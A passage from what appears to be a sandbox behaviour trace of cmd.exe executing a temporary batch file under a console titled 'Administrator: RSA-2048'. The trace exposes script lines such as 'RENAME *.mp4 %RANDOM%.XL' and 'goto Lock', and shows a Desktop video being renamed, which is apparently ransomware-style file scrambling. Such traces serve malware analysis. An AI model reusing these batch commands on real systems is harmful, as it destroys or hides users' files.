lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcab [0037.295] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=3254, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0037.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nc %RANDOM%.XL\r\n") returned 11 [0037.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0037.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.295] GetFileType (hFile=0x74) returned 0x1 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb6 [0037.295] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=3256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0037.295] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0037.295] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.295] GetFileType (hFile=0x74) returned 0x1 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcb8 [0037.295] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.295] SetFilePointer (in: hFile=0x74, lDistanceToMove=3262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0037.296] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":mp4\r\nock\r\n") returned 6 [0037.296] _close (_FileHandle=3) returned 0 [0037.296] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.296] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.296] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.296] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.297] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.297] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.297] SetConsoleInputExeNameW () returned 0x1 [0037.297] GetConsoleOutputCP () returned 0x1b5 [0037.297] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.297] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.297] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.297] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.297] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.297] SetFilePointer (in: hFile=0x74, lDistanceToMove=3262, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0037.297] GetProcessHeap () returned 0x4e0000 [0037.297] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.297] GetProcessHeap () returned 0x4e0000 [0037.297] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4c18 | out: hHeap=0x4e0000) returned 1 [0037.297] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.298] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcbe [0037.298] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x196f, lpOverlapped=0x0) returned 1 [0037.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=3264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.298] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.mp4 goto mp4\r\n\r\n") returned 2 [0037.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.298] GetFileType (hFile=0x74) returned 0x1 [0037.298] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.298] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.298] GetProcessHeap () returned 0x4e0000 [0037.299] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.299] GetProcessHeap () returned 0x4e0000 [0037.299] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.299] _tell (_FileHandle=3) returned 3264 [0037.299] _close (_FileHandle=3) returned 0 [0037.299] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.299] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=3264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcc0 [0037.299] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x196d, lpOverlapped=0x0) returned 1 [0037.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=3290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.299] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.mp4 %RANDOM%.XL\r\n\n") returned 26 [0037.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.299] GetFileType (hFile=0x74) returned 0x1 [0037.299] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.299] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.300] GetProcessHeap () returned 0x4e0000 [0037.300] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.300] GetProcessHeap () returned 0x4e0000 [0037.300] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5038a0 [0037.300] GetProcessHeap () returned 0x4e0000 [0037.300] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a38 [0037.300] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.300] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0037.300] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0037.300] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0037.300] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0037.300] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0037.300] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0037.300] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0037.300] rand () returned 13768 [0037.300] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="13768") returned 5 [0037.300] GetProcessHeap () returned 0x4e0000 [0037.300] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.300] GetProcessHeap () returned 0x4e0000 [0037.301] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.301] GetProcessHeap () returned 0x4e0000 [0037.301] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.301] GetProcessHeap () returned 0x4e0000 [0037.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a98 [0037.301] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f4ab8 [0037.301] _tell (_FileHandle=3) returned 3290 [0037.302] _close (_FileHandle=3) returned 0 [0037.302] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0037.302] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0037.302] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0037.302] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0037.302] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0037.302] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0037.302] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0037.302] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0037.302] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4ae8 [0037.302] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x28) returned 0x4f4ae8 [0037.302] GetProcessHeap () returned 0x4e0000 [0037.302] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ae8) returned 0x28 [0037.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4b18 [0037.302] GetProcessHeap () returned 0x4e0000 [0037.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b58 [0037.302] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x28) returned 0x4f4b58 [0037.302] GetProcessHeap () returned 0x4e0000 [0037.302] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x28 [0037.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b88 [0037.302] GetProcessHeap () returned 0x4e0000 [0037.302] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5868 [0037.303] _wcsicmp (_String1="*.mp4", _String2=".") returned -4 [0037.303] _wcsicmp (_String1="*.mp4", _String2="..") returned -4 [0037.303] GetFileAttributesW (lpFileName="*.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.mp4")) returned 0xffffffff [0037.303] GetLastError () returned 0x7b [0037.303] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f5ac8 [0037.303] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f5ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.303] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41e850*="*.mp4") returned 0x2b [0037.303] SetErrorMode (uMode=0x0) returned 0x1 [0037.303] GetProcessHeap () returned 0x4e0000 [0037.303] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5ce0 [0037.303] _wcsicmp (_String1="*.mp4", _String2=".") returned -4 [0037.303] _wcsicmp (_String1="*.mp4", _String2="..") returned -4 [0037.303] GetFileAttributesW (lpFileName="*.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.mp4")) returned 0xffffffff [0037.303] GetLastError () returned 0x7b [0037.303] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x4f5870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f5870) returned 0x4f4bc0 [0037.303] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_Ya6lDbUOAJnT4mK1.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_ya6ldbuoajnt4mk1.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\13768.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\13768.xl")) returned 1 [0037.305] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91cc260, ftCreationTime.dwHighDateTime=0x1d5dcc7, ftLastAccessTime.dwLowDateTime=0xb22dc030, ftLastAccessTime.dwHighDateTime=0x1d5df78, ftLastWriteTime.dwLowDateTime=0xb22dc030, ftLastWriteTime.dwHighDateTime=0x1d5df78, nFileSizeHigh=0x0, nFileSizeLow=0x6f67, dwReserved0=0x0, dwReserved1=0x0, cFileName="_Ya6lDbUOAJnT4mK1.mp4", cAlternateFileName="")) returned 0 [0037.306] GetLastError () returned 0x12 [0037.306] FindClose (in: hFindFile=0x4f4bc0 | out: hFindFile=0x4f4bc0) returned 1 [0037.306] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.306] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.306] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.306] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.306] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.306] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.306] SetConsoleInputExeNameW () returned 0x1 [0037.306] GetConsoleOutputCP () returned 0x1b5 [0037.307] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.307] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.307] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.307] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.307] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.307] SetFilePointer (in: hFile=0x74, lDistanceToMove=3290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.307] GetProcessHeap () returned 0x4e0000 [0037.307] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ce0 | out: hHeap=0x4e0000) returned 1 [0037.307] GetProcessHeap () returned 0x4e0000 [0037.307] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5ac8 | out: hHeap=0x4e0000) returned 1 [0037.307] GetProcessHeap () returned 0x4e0000 [0037.307] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b88 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ae8 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.308] GetProcessHeap () returned 0x4e0000 [0037.308] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcda [0037.308] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1953, lpOverlapped=0x0) returned 1 [0037.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=3301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.308] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\n4 %RANDOM%.XL\r\n\n") returned 11 [0037.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.308] GetFileType (hFile=0x74) returned 0x1 [0037.308] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.308] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.309] GetProcessHeap () returned 0x4e0000 [0037.309] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.309] GetProcessHeap () returned 0x4e0000 [0037.309] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.309] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.309] GetProcessHeap () returned 0x4e0000 [0037.309] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4a98 [0037.309] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4ab8 [0037.309] _tell (_FileHandle=3) returned 3301 [0037.309] _close (_FileHandle=3) returned 0 [0037.309] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0037.310] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0037.310] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0037.310] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0037.310] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0037.310] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0037.310] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0037.310] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0037.310] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0037.310] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0037.310] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0037.310] _wcsicmp (_String1="goto", _String2="PAUSE") returned -9 [0037.310] _wcsicmp (_String1="goto", _String2="DATE") returned 3 [0037.310] _wcsicmp (_String1="goto", _String2="TIME") returned -13 [0037.310] _wcsicmp (_String1="goto", _String2="PROMPT") returned -9 [0037.310] _wcsicmp (_String1="goto", _String2="MD") returned -6 [0037.310] _wcsicmp (_String1="goto", _String2="MKDIR") returned -6 [0037.310] _wcsicmp (_String1="goto", _String2="RD") returned -11 [0037.310] _wcsicmp (_String1="goto", _String2="RMDIR") returned -11 [0037.310] _wcsicmp (_String1="goto", _String2="PATH") returned -9 [0037.310] _wcsicmp (_String1="goto", _String2="GOTO") returned 0 [0037.310] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.310] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.310] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x14) returned 0x4f4ad8 [0037.310] GetProcessHeap () returned 0x4e0000 [0037.310] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ad8) returned 0x14 [0037.310] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1e) returned 0x4e0880 [0037.310] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ee4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.311] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=3301, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] GetFileType (hFile=0x74) returned 0x1 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce5 [0037.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=3303, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0037.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nock") returned 2 [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0037.311] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.311] GetFileType (hFile=0x74) returned 0x1 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xce7 [0037.311] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.311] SetFilePointer (in: hFile=0x74, lDistanceToMove=3309, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xced [0037.311] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, 